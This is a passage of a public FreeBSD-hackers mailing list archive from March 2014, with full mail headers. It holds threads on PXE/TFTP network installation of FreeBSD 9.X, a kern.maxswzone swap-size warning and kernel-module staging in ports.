interface into > > > > Of course, never tried this with WiFi. > > I did not properly create the jail.conf script. I believe the file of /etc/rc.d/jail > should be followed; yet, there is no tutorial on setting it up. > My /etc/rc.conf file is also improperly setup. How? I don't know; but, I can tell > because the system will not boot completely and ctrl+C must be hit to allow > logging in. What release are you using? "uname -spr" is often succinct enough. -- Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 10:36:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AF71CA9E for ; Fri, 7 Mar 2014 10:36:21 +0000 (UTC) Received: from mail-pd0-x244.google.com (mail-pd0-x244.google.com [IPv6:2607:f8b0:400e:c02::244]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 88F37C3A for ; Fri, 7 Mar 2014 10:36:21 +0000 (UTC) Received: by mail-pd0-f196.google.com with SMTP id p10so1723802pdj.7 for ; Fri, 07 Mar 2014 02:36:21 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=tO/AHtLJFuWttSSj6ycdPUTaCiKxwXVnsYc2bM9vbug=; b=Z0PorRdtqS0o7Ui5GmUl6nX4DjYMwjC6ffqXX/FVbXkkopOYo6fvSNuf0L7CDPFREH oMWoYVvcwb/45e5WQp48hfNjdrAqHkwL1wxJUo5NTaxeaw5Rnath4zQoYNHTil1TwceQ XSLIkBcSa49agUFuFeOfMpmT2S0pywLGNIgrcMaPbk3VzulmfkBbVVHOARrjTbU6/4Q/ T5L6Dv0nciMo8lJqxbecgXoraaMmkbcwhhiqmF4MB9n6i8OngubBCWxUA5tItAlwlR+x uaHyT3nUOkXeXx02i1Yx1MWAv3yADoz89wjJVCeKgfyw2HDAOyNa74iYvQqI7P0j9oYe KzWw== MIME-Version: 1.0 X-Received: by 10.66.139.169 with SMTP id qz9mr21362808pab.16.1394188580968; Fri, 07 Mar 2014 02:36:20 -0800 (PST) Received: by 10.70.74.9 with HTTP; Fri, 7 Mar 2014 02:36:20 -0800 (PST) Date: Fri, 7 Mar 2014 11:36:20 +0100 Message-ID: Subject: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! From: amine tay To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 10:36:21 -0000 Hi everyone, I'm trying to perform a FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! The problem using NFS is the need to specify the root-path in the dhcp conf, therefore we can't deploy multiple releases or different images of freebsd. So to enable the tftp instead of NFS we have to edit make.conf with these lines LOADER_TFTP_SUPPORT=YES LOADER_NFS_SUPPORT=NO and rebuild the pxeboot file 1st question is : Is this modification going to allow the install of differents freebsd images? Note that I'm using an automated os deployement solution , and I am using mac-adresses to deploy freebsd depending on policies, so for exemple two clients with different mac-adresses will have two diffrents freebsd images. Thanks in advance for your help ! From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 11:15:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7B15B991 for ; Fri, 7 Mar 2014 11:15:58 +0000 (UTC) Received: from kabab.cs.huji.ac.il (kabab.cs.huji.ac.il [132.65.116.12]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2E7F8B8 for ; Fri, 7 Mar 2014 11:15:57 +0000 (UTC) Received: from th-04.cs.huji.ac.il ([132.65.80.125]) by kabab.cs.huji.ac.il with esmtp id 1WLskn-000HMo-Lk; Fri, 07 Mar 2014 13:15:49 +0200 Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! From: Daniel Braniss In-Reply-To: Date: Fri, 7 Mar 2014 13:15:48 +0200 Content-Transfer-Encoding: quoted-printable Message-Id: <978E2A4D-D4E1-4A3B-9080-C962E23E7FB9@cs.huji.ac.il> References: To: amine tay X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 11:15:58 -0000 On Mar 7, 2014, at 12:36 PM, amine tay wrote: > Hi everyone, > I'm trying to perform a FreeBSD 9.X network installation using = PXE+TFTP > (not NFS) ! > The problem using NFS is the need to specify the root-path in the dhcp > conf, therefore we can't deploy multiple releases or different images = of > freebsd. >=20 > So to enable the tftp instead of NFS we have to edit make.conf with = these > lines > LOADER_TFTP_SUPPORT=3DYES > LOADER_NFS_SUPPORT=3DNO > and rebuild the pxeboot file >=20 > 1st question is : Is this modification going to allow the install of > differents freebsd images? >=20 > Note that I'm using an automated os deployement solution , and I am = using > mac-adresses to deploy freebsd depending on policies, so for exemple = two > clients with different mac-adresses will have two diffrents freebsd = images. yes you can (to quote a famous noble prize winner) ... options FBSD.boot-nfsroot-options code 20 =3D text; ... { hardware ethernet nn:nn=85; ... filename =93some file=94 # the tftp file; option root-path =93root-fileserve-rip:/path/to/root=94; } >=20 > Thanks in advance for your help ! > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 11:34:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 51C0D9E for ; Fri, 7 Mar 2014 11:34:09 +0000 (UTC) Received: from cargobay.net (cargobay.net [162.220.58.155]) by mx1.freebsd.org (Postfix) with ESMTP id 2CDDC279 for ; Fri, 7 Mar 2014 11:34:08 +0000 (UTC) Received: from [192.168.1.6] (pool-71-101-208-95.tampfl.fios.verizon.net [71.101.208.95]) by cargobay.net (Postfix) with ESMTPSA id 1A96123D; Fri, 7 Mar 2014 11:33:46 +0000 (UTC) Message-ID: <5319AEA2.2030402@ccsys.com> Date: Fri, 07 Mar 2014 06:33:54 -0500 From: "Chad J. Milios" User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: amine tay , freebsd-hackers@freebsd.org Subject: Re: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 07 Mar 2014 12:39:46 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 11:34:09 -0000 On 3/7/2014 5:36 AM, amine tay wrote: > Hi everyone, > I'm trying to perform a FreeBSD 9.X network installation using PXE+TFTP > (not NFS) ! > The problem using NFS is the need to specify the root-path in the dhcp > conf, therefore we can't deploy multiple releases or different images of > freebsd. > > So to enable the tftp instead of NFS we have to edit make.conf with these > lines > LOADER_TFTP_SUPPORT=YES > LOADER_NFS_SUPPORT=NO > and rebuild the pxeboot file > > 1st question is : Is this modification going to allow the install of > differents freebsd images? > > Note that I'm using an automated os deployement solution , and I am using > mac-adresses to deploy freebsd depending on policies, so for exemple two > clients with different mac-adresses will have two diffrents freebsd images. > > Thanks in advance for your help ! > Can't one already control this similarly to what you describe by using NFS and the DHCP server (dhcpd.conf for example)? Is there a constraint that you have limited control of the DHCP server? Based on my understanding of your question, I have done what you are trying to do using vanilla pxeboot and ports/net/isc-dhcp42-server. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 13:07:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 42A918F8 for ; Fri, 7 Mar 2014 13:07:33 +0000 (UTC) Received: from mail-pd0-x235.google.com (mail-pd0-x235.google.com [IPv6:2607:f8b0:400e:c02::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 19A77CF3 for ; Fri, 7 Mar 2014 13:07:33 +0000 (UTC) Received: by mail-pd0-f181.google.com with SMTP id p10so3986466pdj.40 for ; Fri, 07 Mar 2014 05:07:32 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=sN9ZV6lkUwhZC+GgbFSwhSSxI+uA+l39saWvAjxcwxo=; b=yMzGbXBfTRpTI/KIMpoXAsTyHpBgv0oImYE3ERsYxUlJhYLzouqmT7P33EDNzoBydz Pz7Yupd6+u0lM4BzSImkFyZluSUniF6MJlYwAfv+F1CUyJeF/GoIL7Eprcqx2twvrPOv vUmVtEZflNkZSj0Yq+OIC5HCYXt0tYTNgE2pD8o+b6Ggxazs4pH1eFuOkf0KF2YqSz5o O2Qh5ig/UugtIPh0oo0tff/3DsmD32GpLmWARLqORsronXLSqQf1ziQQbyTKwTa7xPmD eGLVutS9Vo0gyDuCdrg0hVg0YkAT9LNC/sey8WgtkIlDvhRS0KP7ELDeNm7IomGsYHsS Cgrw== MIME-Version: 1.0 X-Received: by 10.68.234.2 with SMTP id ua2mr21622730pbc.81.1394197652710; Fri, 07 Mar 2014 05:07:32 -0800 (PST) Received: by 10.70.74.9 with HTTP; Fri, 7 Mar 2014 05:07:32 -0800 (PST) In-Reply-To: <5319AEA2.2030402@ccsys.com> References: <5319AEA2.2030402@ccsys.com> Date: Fri, 7 Mar 2014 14:07:32 +0100 Message-ID: Subject: Re: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! From: amine tay To: "Chad J. Milios" Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 13:07:33 -0000 Hi , Thank you for your replies. Actually I can't use NFS, because in my automated os deployment solution, only TFTP is used to deploy (Redhat, CentOS...) and I am trying to implement freebsd to that automated deployment. 2014-03-07 12:33 GMT+01:00 Chad J. Milios : > On 3/7/2014 5:36 AM, amine tay wrote: > >> Hi everyone, >> I'm trying to perform a FreeBSD 9.X network installation using PXE+TFTP >> (not NFS) ! >> The problem using NFS is the need to specify the root-path in the dhcp >> conf, therefore we can't deploy multiple releases or different images of >> freebsd. >> >> So to enable the tftp instead of NFS we have to edit make.conf with these >> lines >> LOADER_TFTP_SUPPORT=YES >> LOADER_NFS_SUPPORT=NO >> and rebuild the pxeboot file >> >> 1st question is : Is this modification going to allow the install of >> differents freebsd images? >> >> Note that I'm using an automated os deployement solution , and I am using >> mac-adresses to deploy freebsd depending on policies, so for exemple two >> clients with different mac-adresses will have two diffrents freebsd >> images. >> >> Thanks in advance for your help ! >> >> Can't one already control this similarly to what you describe by using > NFS and the DHCP server (dhcpd.conf for example)? Is there a constraint > that you have limited control of the DHCP server? Based on my understanding > of your question, I have done what you are trying to do using vanilla > pxeboot and ports/net/isc-dhcp42-server. > From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 15:52:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 54C04A41 for ; Fri, 7 Mar 2014 15:52:42 +0000 (UTC) Received: from ns1.genyosha.net (ns1.genyosha.net [108.86.149.91]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 28B9AE4F for ; Fri, 7 Mar 2014 15:52:41 +0000 (UTC) Received: from dragon.genyosha.home (dragon.genyosha.net [108.86.149.92]) by ns1.genyosha.net (8.14.7/8.14.4) with ESMTP id s27FkfXp073176; Fri, 7 Mar 2014 07:46:42 -0800 (PST) (envelope-from sr@genyosha.net) Received: from dragon.genyosha.home (localhost.localdomain [127.0.0.1]) by dragon.genyosha.home (8.14.4/8.14.4) with ESMTP id s27FkaGA019665; Fri, 7 Mar 2014 07:46:36 -0800 Received: (from sr@localhost) by dragon.genyosha.home (8.14.4/8.14.4/Submit) id s27FkZMO019663; Fri, 7 Mar 2014 07:46:35 -0800 Date: Fri, 7 Mar 2014 07:46:35 -0800 From: Steve Rikli To: "Chad J. Milios" Subject: Re: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! Message-ID: <20140307154635.GB17044@dragon.genyosha.home> References: <5319AEA2.2030402@ccsys.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5319AEA2.2030402@ccsys.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (ns1.genyosha.net [108.86.149.91]); Fri, 07 Mar 2014 07:46:42 -0800 (PST) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 15:52:42 -0000 On Fri, Mar 07, 2014 at 06:33:54AM -0500, Chad J. Milios wrote: > On 3/7/2014 5:36 AM, amine tay wrote: > >Hi everyone, > >I'm trying to perform a FreeBSD 9.X network installation using PXE+TFTP > >(not NFS) ! > >The problem using NFS is the need to specify the root-path in the dhcp > >conf, therefore we can't deploy multiple releases or different images of > >freebsd. > > > >So to enable the tftp instead of NFS we have to edit make.conf with these > >lines > >LOADER_TFTP_SUPPORT=YES > >LOADER_NFS_SUPPORT=NO > >and rebuild the pxeboot file > > > >1st question is : Is this modification going to allow the install of > >differents freebsd images? > > > >Note that I'm using an automated os deployement solution , and I am using > >mac-adresses to deploy freebsd depending on policies, so for exemple two > >clients with different mac-adresses will have two diffrents freebsd images. > > > >Thanks in advance for your help ! > > Can't one already control this similarly to what you describe by > using NFS and the DHCP server (dhcpd.conf for example)? Is there a > constraint that you have limited control of the DHCP server? Based > on my understanding of your question, I have done what you are > trying to do using vanilla pxeboot and ports/net/isc-dhcp42-server. This may not be the exact OP's issue, but perhaps it's related since an OS deployment solution was mentioned (maybe Kickstart & PXElinux ?). The cumbersome behavior I used to run into with the FreeBSD pxe boot loader was the hardcoded root path: #define PXENFSROOTPATH "/pxeroot" ... or get the root path from DHCP, which necessitates changing DHCP's config when an install client needs to be reloaded with a different version or OS. IIRC the Solaris PXE loader used to have similar (and more) behavior; no idea what it does nowdays. I haven't tried to PXE install FreeBSD since 6.3 days so maybe that situation has changed since then, but that kind of requirement used to make it challenging to run labs full of generic clients which would need to be re-installed with different versions and OSes periodically. Linux Kickstart and PXElinux met that need pretty well, where a PXElinux menu (and/or pxe config file) would specify a particular Kickstart config file to use per OS install, and that ks config file would include details about where to get the specific OS images, where and how to mount or download them, etc. I'm just speculating about OP's use case, but since Kickstart and PXElinux seem to be very prevalent for OS deploys, maybe applicable. sr. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 18:10:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4B75C64F for ; Fri, 7 Mar 2014 18:10:19 +0000 (UTC) Received: from mx1.fisglobal.com (mx1.fisglobal.com [199.200.24.190]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A38BDCC5 for ; Fri, 7 Mar 2014 18:10:18 +0000 (UTC) Received: from smarthost.fisglobal.com ([10.132.206.192]) by ltcfislmsgpa03.fnfis.com (8.14.5/8.14.5) with ESMTP id s27IAGaU018326 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Fri, 7 Mar 2014 12:10:16 -0600 Received: from THEMADHATTER (10.242.181.54) by smarthost.fisglobal.com (10.132.206.192) with Microsoft SMTP Server id 14.3.174.1; Fri, 7 Mar 2014 12:10:15 -0600 From: Sender: Devin Teske To: "'amine tay'" , References: In-Reply-To: Subject: RE: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! Date: Fri, 7 Mar 2014 10:10:10 -0800 Message-ID: <1a6901cf3a30$7b7b8ed0$7272ac70$@FreeBSD.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQIntxq57O8b+VOXStEw6Irf+cJrEJok5/Bg Content-Language: en-us X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87, 1.0.14, 0.0.0000 definitions=2014-03-07_06:2014-03-07,2014-03-07,1970-01-01 signatures=0 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 18:10:19 -0000 > -----Original Message----- > From: amine tay [mailto:amine.tay91@gmail.com] > Sent: Friday, March 7, 2014 2:36 AM > To: freebsd-hackers@freebsd.org > Subject: FreeBSD 9.X network installation using PXE+TFTP (not NFS) ! > > Hi everyone, Hello. > I'm trying to perform a FreeBSD 9.X network installation using PXE+TFTP (not > NFS) ! > The problem using NFS is the need to specify the root-path in the dhcp conf, > therefore we can't deploy multiple releases or different images of freebsd. > You're correct that utilizing the root-path identifier of dhcpd.conf limits your abilities. However, that does not mean that you can't use NFS. Before you say anything else, look at these images that I created for my setup: http://druidbsd.sf.net/download/pxe-config.png http://druidbsd.sf.net/download/FreeBSD_PXE_Install_Workflow_alt.gif The later "workflow" image shows a comparison against iPXE based cobbler and my latest setup that I created last week: http://druidbsd.cvs.sf.net/druidbsd/pxe-config/ http://druidbsd.sf.net/download/tftpboot.txz > So to enable the tftp instead of NFS we have to edit make.conf with these lines > LOADER_TFTP_SUPPORT=YES LOADER_NFS_SUPPORT=NO and rebuild the > pxeboot file > Make sure you choose your TFTP server software carefully if you're going to go the route of loading any files >32MB over TFTP. To support >32MB single file over TFTP make sure you use tftp-hpa (ftp/tftp-hpa) which I have enabled on my server with the following rc.conf entries: tftpd_enable="YES" tftpd_flags="-p4B 1024 -s /tftpboot -a 192.168.1.1" > 1st question is : Is this modification going to allow the install of differents > freebsd images? > > Note that I'm using an automated os deployement solution , and I am using > mac-adresses to deploy freebsd depending on policies, so for exemple two > clients with different mac-adresses will have two diffrents freebsd images. > If you don't add pxelinux to the mix and rely on dhcpd for the solution of using the MAC address to change the identifiers handed to the PXE boot client, that may work but may also limit you. pxelinux ( which comes from the sysutils/syslinux port -- of which I submitted an update recently, bringing the latest version to 6.02 *fixing* broken HTTP based loading of ISO files; http://www.freshports.org/sysutils/syslinux/ )... ... provides 2 functionalities that help you. First, it can actually do the same thing as your dhcp MAC binding and choose a specialized config to be loaded over TFTP based on the MAC address. ... and second, but more importantly, it can provide an interactive menu with a list of options. However, integrating syslinux's pxelinux, gpxelinux, or lpxelinux modules into the FreeBSD workflow can be challenging. That's why I'm providing the above- mentioned "pxe-config" tool to simplify the process of integrating a menu of multiple FreeBSD choices. The requirements of which are (as shown in the Workflow GIF above): DHCP (net/isc-dhcp43-server) TFTP (either freebsd-tftp or tftp-hpa will do fine; files >32M loaded over HTTP) HTTP (e.g., www/apache22) SMB *or* NFS (nfs is built-in, for SMB e.g. net/samba36) I wanted the system to work from a jail, so hence the SMB support. If you have questions, don't hesitate to ask. -- Cheers, Devin _____________ The information contained in this message is proprietary and/or confidential. If you are not the intended recipient, please: (i) delete the message and all copies; (ii) do not disclose, distribute or use the message in any manner; and (iii) notify the sender immediately. In addition, please be aware that any message addressed to our domain is subject to archiving and review by persons other than the intended recipient. Thank you. From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 21:04:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 348E87A3 for ; Fri, 7 Mar 2014 21:04:22 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [188.252.31.196]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A8548E66 for ; Fri, 7 Mar 2014 21:04:21 +0000 (UTC) Received: from wojtek.tensor.gdynia.pl (localhost [127.0.0.1]) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7) with ESMTP id s27Kv5Hv005682 for ; Fri, 7 Mar 2014 21:57:05 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.7/8.14.7/Submit) with ESMTP id s27Kv5qH005679 for ; Fri, 7 Mar 2014 21:57:05 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Fri, 7 Mar 2014 21:57:05 +0100 (CET) From: Wojciech Puchar To: freebsd-hackers@freebsd.org Subject: kern.maxswzone Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.4.3 (wojtek.tensor.gdynia.pl [127.0.0.1]); Fri, 07 Mar 2014 21:57:05 +0100 (CET) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 21:04:22 -0000 i configured 4.7GB swap on 512MB computer and i see in logs warning: total configured swap (1249880 pages) exceeds maximum recommended amount (986496 pages). warning: increase kern.maxswzone or reduce amount of swap. fine, but after increasing maxswzone to 60000000 from less than 40 millions of default, no difference in message tried even increasing it more - no effect, same messages change is in /boot/loader.conf and it sets properly as sysctl kern.maxswzone confirms. what's wrong From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 22:51:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4DECE301; Fri, 7 Mar 2014 22:51:10 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id 1362097D; Fri, 7 Mar 2014 22:51:10 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:502c:9f0:1046:48c]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id 313084AC1C; Sat, 8 Mar 2014 02:51:08 +0400 (MSK) Date: Sat, 8 Mar 2014 02:51:02 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <1187603415.20140308025102@serebryakov.spb.ru> To: FreeBSD Hackers Subject: bsd.kmod.mk conflicts with port STAGE'ing MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-ports@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 22:51:10 -0000 Hello, FreeBSD. If software uses FreeBSD makefile infrastructure and build kernel module (with using .include ), it could not be properly staged in ports, as kernel module is installed with "install -o root -g wheel" always. Is here any way to workaround this problem? -- // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 22:58:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 19FC17DD; Fri, 7 Mar 2014 22:58:13 +0000 (UTC) Received: from mail-yk0-x22e.google.com (mail-yk0-x22e.google.com [IPv6:2607:f8b0:4002:c07::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id ADA419D9; Fri, 7 Mar 2014 22:58:12 +0000 (UTC) Received: by mail-yk0-f174.google.com with SMTP id 20so12498013yks.5 for ; Fri, 07 Mar 2014 14:58:11 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=/5/ZK7Lq4aUyRfgAkZ0thZGpvbi6fe87/ioiUVmd+tk=; b=BIad3UXvp5+E1gGSZmLtTtmQ8Y5Z7FLyp/rLRYBO3IHYfw3yS6422fyX/clKd27W0b Djs4XW0yYdZLWmnUM9aHVbVnycARtowNgVd01lWyOX6UlfGBPq4NRuJB+OXsfD+8v+l/ YwiS7zZii+g4jionRxqyHnyPzq+J/yKxcjkFL7E5+XenTVMR4HuDthrUB760MLnMIFo5 Bujs64q43aHl9hSkKGAXrYqDRMrmqYofU9NeZYI61boH4VPfnrWF/C50o+LDDHYvyx+f yqotqq58CdMQUAGVEwEfiGRh+99SU0OSH3KYj1PqfyBba5rvRztwlmDeh6gMHgS/m9Ga bRzg== MIME-Version: 1.0 X-Received: by 10.236.206.7 with SMTP id k7mr14232210yho.84.1394233091637; Fri, 07 Mar 2014 14:58:11 -0800 (PST) Sender: antoine.brodin.freebsd@gmail.com Received: by 10.170.80.11 with HTTP; Fri, 7 Mar 2014 14:58:11 -0800 (PST) In-Reply-To: <1187603415.20140308025102@serebryakov.spb.ru> References: <1187603415.20140308025102@serebryakov.spb.ru> Date: Fri, 7 Mar 2014 23:58:11 +0100 X-Google-Sender-Auth: 08sK8oln8ofeYLIUPviGHN7XpXM Message-ID: Subject: Re: bsd.kmod.mk conflicts with port STAGE'ing From: Antoine Brodin To: lev@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: FreeBSD Hackers , FreeBSD Ports X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 07 Mar 2014 22:58:13 -0000 On Fri, Mar 7, 2014 at 11:51 PM, Lev Serebryakov wrote: > Hello, FreeBSD. > > If software uses FreeBSD makefile infrastructure and build kernel module > (with using .include ), it could not be properly staged in ports, as > kernel module is installed with "install -o root -g wheel" always. > > Is here any way to workaround this problem? Hi, Try: USES= kmod uidfix Cheers, Antoine From owner-freebsd-hackers@FreeBSD.ORG Fri Mar 7 23:20:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A319E241; Fri, 7 Mar 2014 23:20:47 +0000 (UTC) 